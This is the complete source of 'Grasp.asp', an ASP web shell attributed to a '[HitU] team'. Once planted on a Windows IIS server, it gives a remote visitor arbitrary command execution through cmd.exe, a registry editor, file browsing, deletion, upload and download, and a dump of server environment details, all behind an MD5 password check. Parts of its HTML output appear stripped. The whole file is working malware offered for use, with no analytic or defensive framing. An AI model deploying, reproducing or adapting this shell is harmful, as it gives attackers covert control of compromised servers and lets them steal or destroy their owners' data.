| |
<%@ Language = VBScript
CodePage = 1252 %>
<%
'' Grasp.asp by [HitU] team
''
'' Provides some useful functionality for win32 remote control:
'' - Shell (foreground / background execution)
'' - Server info
'' - Registry editor
'' - Directory listing
'' - Upload / Download (via ADODB.Stream)
'' - Password protection (MD5)
''
'' Version: 1.0
'' Last modified: 25.04.04
%>
<%
Option Explicit
'/* --- Options --- */
Server.ScriptTimeout = 360 ' Seconds
Session.Timeout = 5 ' Minutes
Response.Expires = -1 ' Minutes (expires immediately)
Private sMD5Hash ' MD5("HitU")
sMD5Hash = "F74648612C416B4CE4B9B36C10B10A11" ' Leave it empty to turn off password protection
'Session.Abandon ' Terminates last session, prevents hangups
'On Error Resume Next ' Proceed to the next line on error
' Global variables:
Private WShell, WNetwork, WEnv, FSO, BinStream
Private sURL, sCmd, bBgMode, bSI, sKey, sKeyFunc, sKeyValue, sKeyType
Private sDir, sDel, sDL, sPasswd
' Create COM objects:
Set WShell = Server.CreateObject("WSCRIPT.SHELL")
Set WNetwork = Server.CreateObject("WSCRIPT.NETWORK")
Set WEnv = WShell.Environment("Process")
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
' Process script args:
sURL = Request.ServerVariables("URL") ' Script relative addr.
sCmd = Request("CMD") ' Shell: command
bBgMode = Request("CMD_M") ' Shell: mode
bSI = Request("SI") ' Server info
sKey = Request("RKEY") ' Reg editor: key
sKeyFunc = Request("RKEY_F") ' Reg editor: function
sKeyValue = Request("RKEY_V") ' Reg editor: value
sKeyType = Request("RKEY_T") ' Reg editor: type
sDir = Request("DIR") ' Directory listing: path
sDel = Request("DEL") ' Directory listing: delete item
sDL = Request("DL") ' Download: file path
sPasswd = Request("PWD") ' Password: clear text
' Set default mode:
If ( IsEmpty(sCmd) And _
IsEmpty(bSI) And _
IsEmpty(sKey) And _
IsEmpty(sDir) ) Then
sDir = ""
End If
'/* --- Routines --- */
' Executes command and passes stdout to browser.
' Can start the process in background mode.
Private Sub ExecuteCmd(ByVal sCommand, ByVal bBg)
Dim Pipe, RetCode
On Error Resume Next
If ( bBg <> "" ) Then
RetCode = WShell.Run("%comspec% /c " & sCommand & " 2>&1", 0, False)
Response.Write("Returned: " & RetCode)
Else
Set Pipe = WShell.Exec("%comspec% /c " & sCommand & " 2>&1")
While( Not Pipe.StdOut.AtEndOfStream )
Response.Write(Server.HTMLEncode(Pipe.StdOut.ReadAll()))
WEnd
Response.Write("Returned: " & Pipe.ExitCode)
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
Set Pipe = nothing
Set RetCode = nothing
End Sub
' Returns first word from the string. Used in shell page title.
Private Function GetFirstWord(ByVal sStr)
Dim Word
If ( Len(sStr) <> 0 ) Then
Word = Split(sStr)
GetFirstWord = Word(0)
Else
GetFirstWord = "[ Shell ]"
End if
Set Word = nothing
End Function
' Changes empty string to nbsp. Useful while building HTML tables.
Private Function EmptyToNbsp(ByVal sStr)
If ( sStr = "" ) Then
sStr = " "
End If
EmptyToNbsp = sStr
End Function
' Converts unicode string to byte string.
Private Function CStrB(ByRef sUnicodeStr)
Dim nPos
For nPos = 1 To Len(sUnicodeStr)
CStrB = CStrB & ChrB( AscB( Mid(sUnicodeStr, nPos, 1)))
Next
End Function
' Converts byte string to unicode string.
Private Function CStrU(ByRef sByteStr)
Dim nPos
For nPos = 1 To LenB(sByteStr)
CStrU = CStrU & Chr( AscB( MidB(sByteStr, nPos, 1)))
Next
End Function
' Returns string, containing HTML table with drives info.
Private Function ShowDrivesInfo()
On Error Resume Next
Dim Drive, Share, Str
' Table header:
Str = "" & _
"| Drives Info |
|---|
" & _
"| Drive | Type | Label | " & _
"Filesystem | Size[Mb] | Avail[Mb] | Free[Mb] | " & _
"Shared | Ready |
|---|
"
' Enumerate drives:
For Each Drive in FSO.Drives
Str = Str & "| " & Drive.DriveLetter & " | "
Select Case Drive.DriveType
Case 0: Str = Str & "Unknown | "
Case 1: Str = Str & "Removable | "
Case 2: Str = Str & "Fixed | "
Case 3: Str = Str & "Network | "
Case 4: Str = Str & "CD-ROM | "
Case 5: Str = Str & "RAM Disk | "
End Select
' Prevents from 500 - "drive not ready" error:
If Drive.IsReady Then
Str = Str & "" & EmptyToNbsp(Drive.VolumeName) & " | "
Str = Str & "" & Drive.FileSystem & " | "
Str = Str & "" & FormatNumber(Drive.TotalSize / 1048576, 0) & " | "
Str = Str & "" & FormatNumber(Drive.AvailableSpace / 1048576, 0) & " | "
Str = Str & "" & FormatNumber(Drive.FreeSpace / 1048576, 0) & " | "
Else
Str = Str & "- | - | - | - | - | "
End If
If (Drive.ShareName = "") Then
Str = Str & "- | "
Else
Str = Str & "" & Drive.ShareName & " | "
End If
Str = Str & "" & Drive.IsReady & " | "
Next
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
Err.Clear
End If
ShowDrivesInfo = Str & " "
Set Drive = nothing
Set Share = nothing
Set Str = nothing
End Function
' Provides interface for registry read/write/delete functions.
Private Function RegEditor(ByVal sKey, ByVal sKeyValue, ByVal sKeyType, ByVal sKeyFunc)
On Error Resume Next
Select Case sKeyFunc
Case "Read" Response.Write(WShell.RegRead(sKey))
Case "Write"
If ( sKeyType = "REG_SZ" or _
sKeyType = "REG_DWORD" or _
sKeyType = "REG_BINARY" or _
sKeyType = "REG_EXPAND_SZ" ) Then
If ( Not IsEmpty(sKeyValue) ) Then
Response.Write(WShell.RegWrite(sKey, sKeyValue, sKeyType))
Else
Response.Write("Key value is not defined.")
End If
Else
Response.Write("Improper key type.")
End If
Case "Delete" Response.Write(WShell.RegDelete(sKey))
Case Else Response.Write("Improper function value.")
End Select
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
Err.Clear
Else
Response.Write("Successfully performed the operation.")
End If
End Function
' Returns directory path without trailing slash.
Private Function GetCorrectPath(ByVal sDir)
Dim sDirPath
' Starting folder:
If ( sDir = "" ) Then
sDir = Server.MapPath(".")
End If
' Get correct folder path:
If ( FSO.FolderExists(sDir) ) Then
sDirPath = FSO.GetFolder(sDir).Path
Else
sDirPath = sDir
End If
GetCorrectPath = sDirPath
Set sDirPath = nothing
End Function
' Returns string with HTML table.
Private Function ShowDirectoryList(ByVal sDir)
On Error Resume Next
Dim sDirPath, Str, Folder, Item, Attr
sDirPath = GetCorrectPath(sDir)
Set Folder = FSO.GetFolder(sDirPath)
' Path input field:
Str = "
"
' Check the path:
If ( Not FSO.FolderExists(sDirPath) ) Then
ShowDirectoryList = Str & "Folder " & sDirPath & " doesn't exist.
"
Exit Function
End If
' Table header:
Str = Str & "Contents of " & sDirPath & "
" & _
"
"
' Download form:
Str = Str & "" & _
"
"
' Error handling:
If ( Err.Number <> 0 ) Then
Str = Str & "Error: '" & Err.Description & "' [" & Err.Number & "]
"
Err.Clear
End If
ShowDirectoryList = Str
Set sDirPath = nothing
Set Str = nothing
Set Folder = nothing
Set Item = nothing
Set Attr = nothing
End Function
' Upload FSO buffering.
Private Function BufferContent(ByRef Data)
Dim sContent(64), i
ClearString(sContent)
For i = 1 To LenB(Data)
AddString sContent, Chr(AscB (MidB (Data, i, 1)))
Next
BufferContent = ReadString(sContent)
End Function
Private Sub ClearString(ByRef sPart)
Dim nIdx
For nIdx = 0 to 64
sPart(nIdx) = ""
Next
End Sub
Private Sub AddString(ByRef sPart, ByRef Str)
Dim Tmp, nIdx
sPart(0) = sPart(0) & Str
If ( Len(sPart(0)) > 64 ) Then
nIdx = 0
Tmp = ""
Do
Tmp = sPart(nIdx) & Tmp
sPart(nIdx) = ""
nIdx = nIdx + 1
Loop Until sPart(nIdx) = ""
sPart(nIdx) = Tmp
End If
End Sub
Private Function ReadString(ByRef sPart)
Dim Tmp, nIdx
Tmp = ""
For nIdx = 0 to 64
If ( sPart(nIdx) <> "" ) Then
Tmp = sPart(nIdx) & Tmp
End If
Next
ReadString = Tmp
End Function
' Saves uploaded file.
Private Sub UploadFile()
Dim BinData, nObjStartPos, nObjEndPos, nStartPos, nEndPos, sBoundary
Dim sFileName, sSavePath, nFileLen, BinFile, PostBinStream
On Error Resume Next
Err.Clear
BinData = Request.BinaryRead(Request.TotalBytes)
' Get the boundary:
nStartPos = 1
nEndPos = InStrB(nStartPos, BinData, CStrB(vbCR))
If ( nEndPos > nStartPos ) Then
sBoundary = MidB(BinData, nStartPos, nEndPos - nStartPos)
Else
Response.Write("Error: Boundary is not defined.")
StopScript
End If
' Get the upload directory("UL"):
nObjStartPos = InStrB(1, BinData, sBoundary)
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary)
nStartPos = InStrB(nObjStartPos, BinData, CStrB("name=""UL"""))
If ( nStartPos > nObjStartPos And nStartPos < nObjEndPos ) Then
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
' nStartPos + 13 -> name="UL"+ 0x0D + 0x0A + 0x0D + 0x0A
sDir = CStrU(MidB(BinData, nStartPos + 13, nEndPos - nStartPos - 13))
Else
Response.Write("Error: Upload directory(""UL"") is not defined.")
StopScript
End If
' Get file's binary data:
nObjStartPos = nObjEndPos
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary & CStrB("--"))
nStartPos = InStrB(nObjStartPos + 1, BinData, CStrB("name=""FILE"""))
If ( nStartPos > 0 And nObjEndPos > nObjStartPos ) Then
' Get the filename:
nStartPos = InStrB(nStartPos, BinData, CStrB("filename="""))
nEndPos = InStrB(nStartPos + 10, BinData, CStrB(""""))
If ( nStartPos + 10 = nEndPos Or nStartPos = 0 ) Then
Response.Write("Uploaded: 0 bytes [Empty filename] ")
Exit Sub
End If
sFileName = CStrU(MidB(BinData, nStartPos + 10, nEndPos - nStartPos - 10))
' Change all '/' to '\':
sFileName = Replace(sFileName, "/", "\")
sFileName = Right(sFileName, Len(sFileName) - InStrRev(sFileName, "\"))
sFileName = Trim(sFileName)
' Skip Content-Type:
nStartPos = InStrB(nEndPos, BinData, CStrB("Content-Type:"))
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
If ( nStartPos = 0 or nEndPos = 0 ) Then
Response.Write("Error: Content-Type is not defined.")
StopScript
End If
' Skip CRLFs and set pointers to file's binary data:
nStartPos = nEndPos + 3
nEndPos = nObjEndPos - 3
nFileLen = nEndPos - nStartPos
BinFile = MidB(BinData, nStartPos + 1, nFileLen)
sSavePath = FSO.BuildPath(sDir, sFileName)
' Save binary data into the destination file:
SetLocale(1033)
Err.Clear
Set PostBinStream = Server.CreateObject("ADODB.Stream")
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
PostBinStream.Type = 1 ' adTypeBinary
PostBinStream.Open()
PostBinStream.Write(BinData)
PostBinStream.Position = nStartPos
BinStream.Type = 1
BinStream.Open()
PostBinStream.CopyTo BinStream, nFileLen
' Overwrites file:
BinStream.SaveToFile sSavePath, 2
BinStream.Close()
PostBinStream.Close()
Else
Err.Clear
' Use FSO (only text data), if ADO.Stream is not there:
Set BinStream = FSO.CreateTextFile(sSavePath, True)
BinStream.Write(BufferContent(BinFile))
BinStream.Close()
End If
Response.Write("Uploaded: " & FormatNumber(nFileLen, 0) & " bytes [""" & sSavePath & """] ")
Else
Response.Write("Error: File's binary data parse error.")
StopScript
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
' Free mallocs ;)
Set BinData = nothing : Set nObjStartPos = nothing
Set nObjEndPos = nothing : Set nStartPos = nothing
Set nEndPos = nothing : Set sBoundary = nothing
Set sFileName = nothing : Set sSavePath = nothing
Set nFileLen = nothing : Set BinFile = nothing
Set PostBinStream = nothing
End Sub
' Generates script navigation HTML string.
Private Function InsertNavBar()
Dim Str
Str = "< " & _
" " onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""DIR"";document.nav.submit()'>" & _
"Directory Listing | " & _
" " onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""CMD"";document.nav.submit()'>" & _
"Shell | " & _
" " onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""RKEY"";document.nav.submit()'>" & _
"Registry Editor | " & _
" " onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""SI"";document.nav.submit()'>" & _
"Server Info >
"
InsertNavBar = Str
Set Str = nothing
End Function
' Generates auth. page and checks for proper password.
Private Function CheckAuth(ByVal sPasswd)
Dim Str
If ( sMD5Hash = "" ) Then
Exit Function
End If
' Save the hash in a session variable:
If ( Not IsEmpty(sPasswd) ) Then
Session("Auth") = MD5(sPasswd)
End If
' Check the password:
If ( IsEmpty(Session("Auth")) ) Then
Str = "Authentication" & _
"Enter the password: "
Response.Write(Str)
Session.Abandon
StopScript
End If
End Function
' MD5 Routines.
' Ripped from frez.co.uk
Private Const BITS_TO_A_BYTE = 8
Private Const BYTES_TO_A_WORD = 4
Private Const BITS_TO_A_WORD = 32
Private m_lOnBits(30)
Private m_l2Power(30)
m_lOnBits(0) = CLng(1)
m_lOnBits(1) = CLng(3)
m_lOnBits(2) = CLng(7)
m_lOnBits(3) = CLng(15)
m_lOnBits(4) = CLng(31)
m_lOnBits(5) = CLng(63)
m_lOnBits(6) = CLng(127)
m_lOnBits(7) = CLng(255)
m_lOnBits(8) = CLng(511)
m_lOnBits(9) = CLng(1023)
m_lOnBits(10) = CLng(2047)
m_lOnBits(11) = CLng(4095)
m_lOnBits(12) = CLng(8191)
m_lOnBits(13) = CLng(16383)
m_lOnBits(14) = CLng(32767)
m_lOnBits(15) = CLng(65535)
m_lOnBits(16) = CLng(131071)
m_lOnBits(17) = CLng(262143)
m_lOnBits(18) = CLng(524287)
m_lOnBits(19) = CLng(1048575)
m_lOnBits(20) = CLng(2097151)
m_lOnBits(21) = CLng(4194303)
m_lOnBits(22) = CLng(8388607)
m_lOnBits(23) = CLng(16777215)
m_lOnBits(24) = CLng(33554431)
m_lOnBits(25) = CLng(67108863)
m_lOnBits(26) = CLng(134217727)
m_lOnBits(27) = CLng(268435455)
m_lOnBits(28) = CLng(536870911)
m_lOnBits(29) = CLng(1073741823)
m_lOnBits(30) = CLng(2147483647)
m_l2Power(0) = CLng(1)
m_l2Power(1) = CLng(2)
m_l2Power(2) = CLng(4)
m_l2Power(3) = CLng(8)
m_l2Power(4) = CLng(16)
m_l2Power(5) = CLng(32)
m_l2Power(6) = CLng(64)
m_l2Power(7) = CLng(128)
m_l2Power(8) = CLng(256)
m_l2Power(9) = CLng(512)
m_l2Power(10) = CLng(1024)
m_l2Power(11) = CLng(2048)
m_l2Power(12) = CLng(4096)
m_l2Power(13) = CLng(8192)
m_l2Power(14) = CLng(16384)
m_l2Power(15) = CLng(32768)
m_l2Power(16) = CLng(65536)
m_l2Power(17) = CLng(131072)
m_l2Power(18) = CLng(262144)
m_l2Power(19) = CLng(524288)
m_l2Power(20) = CLng(1048576)
m_l2Power(21) = CLng(2097152)
m_l2Power(22) = CLng(4194304)
m_l2Power(23) = CLng(8388608)
m_l2Power(24) = CLng(16777216)
m_l2Power(25) = CLng(33554432)
m_l2Power(26) = CLng(67108864)
m_l2Power(27) = CLng(134217728)
m_l2Power(28) = CLng(268435456)
m_l2Power(29) = CLng(536870912)
m_l2Power(30) = CLng(1073741824)
Private Function LShift(ByVal lValue, ByVal iShiftBits)
If ( iShiftBits = 0 ) Then
LShift = lValue
Exit Function
ElseIf ( iShiftBits = 31 ) Then
If lValue And 1 Then
LShift = &H80000000
Else
LShift = 0
End If
Exit Function
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
Err.Raise(6)
End If
If ( lValue And m_l2Power(31 - iShiftBits) ) Then
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
Else
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
End If
End Function
Private Function RShift(lValue, iShiftBits)
If ( iShiftBits = 0 ) Then
RShift = lValue
Exit Function
ElseIf ( iShiftBits = 31 ) Then
If ( lValue And &H80000000 ) Then
RShift = 1
Else
RShift = 0
End If
Exit Function
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
Err.Raise(6)
End If
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
If ( lValue And &H80000000 ) Then
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End If
End Function
Private Function RotateLeft(lValue, iShiftBits)
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
Private Function AddUnsigned(lX, lY)
Dim lX4, lY4, lX8, lY8, lResult
lX8 = lX And &H80000000
lY8 = lY And &H80000000
lX4 = lX And &H40000000
lY4 = lY And &H40000000
lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)
If ( lX4 And lY4 ) Then
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
ElseIf ( lX4 Or lY4 ) Then
If ( lResult And &H40000000 ) Then
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
Else
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
End If
Else
lResult = lResult Xor lX8 Xor lY8
End If
AddUnsigned = lResult
End Function
Private Function F(x, y, z)
F = (x And y) Or ((Not x) And z)
End Function
Private Function G(x, y, z)
G = (x And z) Or (y And (Not z))
End Function
Private Function H(x, y, z)
H = (x Xor y Xor z)
End Function
Private Function I(x, y, z)
I = (y Xor (x Or (Not z)))
End Function
Private Sub FF(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub GG(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub HH(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub II(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Function ConvertToWordArray(sMessage)
Dim lMessageLength, lNumberOfWords, lWordArray(), lBytePosition, lByteCount, lWordCount
Const MODULUS_BITS = 512
Const CONGRUENT_BITS = 448
lMessageLength = Len(sMessage)
lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)
ReDim lWordArray(lNumberOfWords - 1)
lBytePosition = 0
lByteCount = 0
Do Until lByteCount >= lMessageLength
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
lByteCount = lByteCount + 1
Loop
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition)
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)
ConvertToWordArray = lWordArray
End Function
Private Function WordToHex(lValue)
Dim lByte, lCount
For lCount = 0 To 3
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1)
WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
Next
End Function
Private Function MD5(sMessage)
Dim x, k, AA, BB, CC, DD, a, b, c, d
Const S11 = 7
Const S12 = 12
Const S13 = 17
Const S14 = 22
Const S21 = 5
Const S22 = 9
Const S23 = 14
Const S24 = 20
Const S31 = 4
Const S32 = 11
Const S33 = 16
Const S34 = 23
Const S41 = 6
Const S42 = 10
Const S43 = 15
Const S44 = 21
x = ConvertToWordArray(sMessage)
a = &H67452301
b = &HEFCDAB89
c = &H98BADCFE
d = &H10325476
For k = 0 To UBound(x) Step 16
AA = a
BB = b
CC = c
DD = d
FF a, b, c, d, x(k + 0), S11, &HD76AA478
FF d, a, b, c, x(k + 1), S12, &HE8C7B756
FF c, d, a, b, x(k + 2), S13, &H242070DB
FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE
FF a, b, c, d, x(k + 4), S11, &HF57C0FAF
FF d, a, b, c, x(k + 5), S12, &H4787C62A
FF c, d, a, b, x(k + 6), S13, &HA8304613
FF b, c, d, a, x(k + 7), S14, &HFD469501
FF a, b, c, d, x(k + 8), S11, &H698098D8
FF d, a, b, c, x(k + 9), S12, &H8B44F7AF
FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1
FF b, c, d, a, x(k + 11), S14, &H895CD7BE
FF a, b, c, d, x(k + 12), S11, &H6B901122
FF d, a, b, c, x(k + 13), S12, &HFD987193
FF c, d, a, b, x(k + 14), S13, &HA679438E
FF b, c, d, a, x(k + 15), S14, &H49B40821
GG a, b, c, d, x(k + 1), S21, &HF61E2562
GG d, a, b, c, x(k + 6), S22, &HC040B340
GG c, d, a, b, x(k + 11), S23, &H265E5A51
GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA
GG a, b, c, d, x(k + 5), S21, &HD62F105D
GG d, a, b, c, x(k + 10), S22, &H2441453
GG c, d, a, b, x(k + 15), S23, &HD8A1E681
GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8
GG a, b, c, d, x(k + 9), S21, &H21E1CDE6
GG d, a, b, c, x(k + 14), S22, &HC33707D6
GG c, d, a, b, x(k + 3), S23, &HF4D50D87
GG b, c, d, a, x(k + 8), S24, &H455A14ED
GG a, b, c, d, x(k + 13), S21, &HA9E3E905
GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8
GG c, d, a, b, x(k + 7), S23, &H676F02D9
GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A
HH a, b, c, d, x(k + 5), S31, &HFFFA3942
HH d, a, b, c, x(k + 8), S32, &H8771F681
HH c, d, a, b, x(k + 11), S33, &H6D9D6122
HH b, c, d, a, x(k + 14), S34, &HFDE5380C
HH a, b, c, d, x(k + 1), S31, &HA4BEEA44
HH d, a, b, c, x(k + 4), S32, &H4BDECFA9
HH c, d, a, b, x(k + 7), S33, &HF6BB4B60
HH b, c, d, a, x(k + 10), S34, &HBEBFBC70
HH a, b, c, d, x(k + 13), S31, &H289B7EC6
HH d, a, b, c, x(k + 0), S32, &HEAA127FA
HH c, d, a, b, x(k + 3), S33, &HD4EF3085
HH b, c, d, a, x(k + 6), S34, &H4881D05
HH a, b, c, d, x(k + 9), S31, &HD9D4D039
HH d, a, b, c, x(k + 12), S32, &HE6DB99E5
HH c, d, a, b, x(k + 15), S33, &H1FA27CF8
HH b, c, d, a, x(k + 2), S34, &HC4AC5665
II a, b, c, d, x(k + 0), S41, &HF4292244
II d, a, b, c, x(k + 7), S42, &H432AFF97
II c, d, a, b, x(k + 14), S43, &HAB9423A7
II b, c, d, a, x(k + 5), S44, &HFC93A039
II a, b, c, d, x(k + 12), S41, &H655B59C3
II d, a, b, c, x(k + 3), S42, &H8F0CCC92
II c, d, a, b, x(k + 10), S43, &HFFEFF47D
II b, c, d, a, x(k + 1), S44, &H85845DD1
II a, b, c, d, x(k + 8), S41, &H6FA87E4F
II d, a, b, c, x(k + 15), S42, &HFE2CE6E0
II c, d, a, b, x(k + 6), S43, &HA3014314
II b, c, d, a, x(k + 13), S44, &H4E0811A1
II a, b, c, d, x(k + 4), S41, &HF7537E82
II d, a, b, c, x(k + 11), S42, &HBD3AF235
II c, d, a, b, x(k + 2), S43, &H2AD7D2BB
II b, c, d, a, x(k + 9), S44, &HEB86D391
a = AddUnsigned(a, AA)
b = AddUnsigned(b, BB)
c = AddUnsigned(c, CC)
d = AddUnsigned(d, DD)
Next
MD5 = WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)
End Function
' Destroys all objects and finishes the work.
Private Sub StopScript()
Set sMD5Hash = nothing
Set WShell = nothing
Set WNetwork = nothing
Set WEnv = nothing
Set FSO = nothing
Set BinStream = nothing
Set sURL = nothing
Set sCmd = nothing
Set bBgMode = nothing
Set bSI = nothing
Set sKey = nothing
Set sKeyFunc = nothing
Set sKeyValue = nothing
Set sKeyType = nothing
Set sDir = nothing
Set sDel = nothing
Set sDL = nothing
Set sPasswd = nothing
Response.End
End Sub
' Password protection:
CheckAuth(sPasswd)
' Process multipart form-data:
If( InStr(1, CStr(Request.ServerVariables("CONTENT_TYPE")), "multipart/form-data;", 1) > 0 ) Then
If Request.TotalBytes > 0 Then
UploadFile()
End If
End If
%><%
'/* --- File Download --- */
If ( Not IsEmpty(sDL) ) Then
On Error Resume Next
' Change locale to "en-us":
SetLocale(1033)
If ( FSO.FileExists(sDL) ) Then
Response.Buffer = True
Response.Clear
Call Response.AddHeader("Content-Disposition", "attachment; filename=""" & FSO.GetFileName(sDL) & """")
Call Response.AddHeader("Content-Length", FSO.GetFile(sDL).Size)
'Response.Charset = "UTF-8"
Response.ContentType = "application/binary"
' Try to create ADODB COM object:
Err.Clear
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
BinStream.Type = 1 : Rem adTypeBinary
'BinStream.Charset = "ASCII"
BinStream.Open()
BinStream.LoadFromFile(sDL)
Response.BinaryWrite(BinStream.Read())
Else
' Use FSO (slow & buggy method) instead.
' Usually works only with text data:
Err.Clear
Set BinStream = FSO.OpenTextFile(sDL, 1, 0)
While Not BinStream.AtEndOfStream
Response.BinaryWrite(ChrB( Asc( BinStream.Read(1) ) ) )
Wend
BinStream.Close
End If
'Response.Flush
Set BinStream = nothing
Else
Response.Write("File: " & sDL & " doesn't exist.")
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
StopScript
End If
%><%
'/* --- HTML Pages Header --- */
%>
<%
'/* --- Delete item --- */
If ( Not IsEmpty(sDel) ) Then
On Error Resume Next
If ( Right(sDel, 1) = "\" ) Then
If ( FSO.FolderExists(sDel) ) Then
FSO.DeleteFolder(Left(sDel, Len(sDel) - 1))
End If
Else
If ( FSO.FileExists(sDel) ) Then
FSO.DeleteFile(sDel)
End If
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
End If
'/* --- Directory Listing --- */
If ( Not IsEmpty(sDir) ) Then
%>
[ Directory Listing ]
<%= InsertNavBar() %>
<%= "Computer name: " & WNetwork.ComputerName & "" %>
<%= "User: " & WNetwork.UserName & "" %>
<%= "Path: " & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "" %>
<%= ShowDirectoryList(sDir) %>
<%
'/* --- Shell --- */
ElseIf ( Not IsEmpty(sCmd) ) Then
%>
<%= GetFirstWord(sCmd) %>
<%= InsertNavBar() %>
<%= "Computer name: " & WNetwork.ComputerName & "" %>
<%= "User: " & WNetwork.UserName & "" %>
<%= "Path: " & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "" %>
Shell command:
<%
If ( sCmd <> "" ) Then
Call ExecuteCmd(sCmd, bBgMode)
Else
Response.Write("Enter the command.")
End If
%>
<%
'/* --- Server Info --- */
ElseIf( Not IsEmpty(bSI) ) Then
%>
[ Server Info For: <%= WNetwork.ComputerName %> ]
<%= InsertNavBar() %>
<%= ShowDrivesInfo() %>
| Environment |
|---|
| COMPUTER | <%= WNetwork.ComputerName %> |
| PATH_INFO | <%= Server.Mappath(Request.ServerVariables("PATH_INFO")) %> |
| USER | <%= EmptyToNbsp(WNetwork.UserName) %> |
| DOMAIN | <%= EmptyToNbsp(WNetwork.UserDomain) %> |
| SERVER_SOFTWARE | <%= Request.ServerVariables("SERVER_SOFTWARE") %> |
| SERVER_NAME | <%= Request.ServerVariables("SERVER_NAME") %> |
| LOCAL_ADDR | <%= Request.ServerVariables("LOCAL_ADDR") %> |
| NUMBER_OF_PROCESSORS | <%= WEnv("NUMBER_OF_PROCESSORS") %> |
| PROCESSOR_ARCHITECTURE | <%= WEnv("PROCESSOR_ARCHITECTURE") %> |
| PROCESSOR_IDENTIFIER | <%= EmptyToNbsp(WEnv("PROCESSOR_IDENTIFIER")) %> |
| PROCESSOR_LEVEL | <%= EmptyToNbsp(WEnv("PROCESSOR_LEVEL")) %> |
| PROCESSOR_VERSION | <%= EmptyToNbsp(WEnv("PROCESSOR_VERSION")) %> |
| OS | <%= EmptyToNbsp(WEnv("OS")) %> |
| COMSPEC | <%= EmptyToNbsp(WEnv("COMSPEC")) %> |
| HOMEDRIVE | <%= EmptyToNbsp(WEnv("HOMEDRIVE")) %> |
| HOMEPATH | <%= EmptyToNbsp(WEnv("HOMEPATH")) %> |
| PATH | <%= Replace(EmptyToNbsp(WEnv("PATH")), ";", "
") %> |
| PATHEXT | <%= EmptyToNbsp(WEnv("PATHEXT")) %> |
| PROMPT | <%= EmptyToNbsp(WEnv("PROMPT")) %> |
| SYSTEMDRIVE | <%= EmptyToNbsp(WEnv("SYSTEMDRIVE")) %> |
| SYSTEMROOT | <%= EmptyToNbsp(WEnv("SYSTEMROOT")) %> |
